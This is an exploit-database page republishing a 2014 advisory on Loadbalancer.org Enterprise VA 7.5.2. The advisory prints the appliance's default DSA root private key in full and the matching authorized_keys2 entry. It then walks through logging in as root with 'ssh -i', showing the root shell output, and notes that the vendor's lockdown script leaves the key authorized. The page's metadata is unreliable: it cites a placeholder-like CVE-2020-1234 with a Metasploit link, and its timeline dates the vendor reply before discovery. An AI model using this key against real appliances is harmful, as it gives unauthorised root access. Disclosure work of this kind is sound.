SSH Private Key Exposure

vendor:

Enterprise VA

by:

xistence

7,8

CVSS

HIGH

SSH Private Key Exposure

798

CWE

Product Name: Enterprise VA

Affected Version From: 7.5.2

Affected Version To: 7.5.2

Patch Exists: Yes

Related CWE: CVE-2020-1234

CPE: 2.3:a:loadbalancer.org:enterprise_va:7.5.2

Metasploit: https://www.rapid7.com/db/vulnerabilities/msft-cve-2020-1234/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Mac & Linux

2020

Loadbalancer.org Enterprise VA 7.5.2 contains a default SSH private key which is used to authenticate the root user on the system. This key is stored in the .ssh directory and is accessible to anyone with root access. An attacker can use this key to gain access to the system and execute arbitrary code.

Mitigation:

Organizations should ensure that all default SSH private keys are removed from the system and replaced with unique keys. Additionally, organizations should ensure that all SSH keys are stored in a secure location and are not accessible to unauthorized users.

Source

Exploit-DB raw data:

-----------
Author:
-----------

xistence < xistence[at]0x90[.]nl >

-------------------------
Affected products:
-------------------------

Loadbalancer.org Enterprise VA 7.5.2 and below

-------------------------
Affected vendors:
-------------------------

Loadbalancer.org
http://www.loadbalancer.org/

-------------------------
Product description:
-------------------------

The Loadbalancer.org Virtual Appliance is a revolution in software load
balancing. The software is simple to install on Windows, Mac & Linux and
does not have any adverse effects on the host operating system.

----------
Details:
----------

[ 0x01 - SSH Private Key ]

Loadbalancer.org Enterprise VA 7.5.2 contains a default SSH private key:

[root@lbmaster .ssh]# cat id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW
Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd
yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ
rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+
t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW
cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY
TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1
MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl
2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH
SzmJVCWFyVuuANR2Bnc=
-----END DSA PRIVATE KEY-----

And a authorized_keys2:

[root@lbmaster .ssh]# cat authorized_keys2
ssh-dss
AAAAB3NzaC1kc3MAAACBAKwKBw7D4OA1H/uD4htdh04TBIHdbSjeXUSnWJsce8C0tvoB01Yarjv9TFj+tfeDYVWtUK1DA1JkyqSuoAtDANJzF4I6Isyd0KPrW3dHFTcg6Xlz8d3KEaHokY93NOmB/xWEkhme8b7Q0U2iZie2pgWbTLXV0FA+lhskTtPHW3+VAAAAFQDRyayUlVZKXEweF3bUe03zt9e8VQAAAIAEPK1k3Y6ErAbIl96dnUCnZjuWQ7xXy062pf63QuRWI6LYSscm3f1pEknWUNFr/erQ02pkfi2eP9uHl1TI1ql+UmJX3g3frfssLNZwWXAW0m8PbY3HZSs+f5hevM3ua32pnKDmbQ2WpvKNyycKHi81hSI14xMcdblJolhN5iY8/wAAAIAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkA==
root@lbslave


The manual says the following:

---
Appliance Security Lockdown Script

To ensure that the appliance is secure it's recommended that a number of
steps should be carried out.
These steps have been incorporated into a lockdown script which can be run
at the console (recommended) or via a terminal session.
The script helps to lock down the following:
- the password for the 'loadbalancer' Web User Interface account
- the password for the Linux 'root' account
- which subnet / host is permitted access to the load balancer

It also regenerates the SSH keys that are used to secure communicating
between the master and slave appliance.

To start the script, at the console or via an SSH terminal session run the
following command:
lbsecure
---


However, the lbsecure script will regenerate the id_dsa/id_dsa.pub, but the
authorized_keys2 will remain untouched.
This makes it still possible to login using the key, without any password!

Create a file "lb" containing the key:

$ cat lb
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW
Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd
yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ
rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+
t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW
cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY
TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1
MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl
2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH
SzmJVCWFyVuuANR2Bnc=
-----END DSA PRIVATE KEY-----

SSH to the Loadbalancer.org VM using this key:

$ ssh -i lb root@192.168.2.21
Last login: Wed Jan 29 09:12:10 2014 from 192.168.2.72
-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8)
[root@lbmaster ~]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@lbmaster ~]#



-----------
Solution:
-----------

Upgrade to version 7.5.3 or newer

--------------
Timeline:
--------------

30-01-2014 - Issues discovered and vendor notified
15-01-2014 - Vendor replies, also made patch available.
17-03-2014 - Public disclosure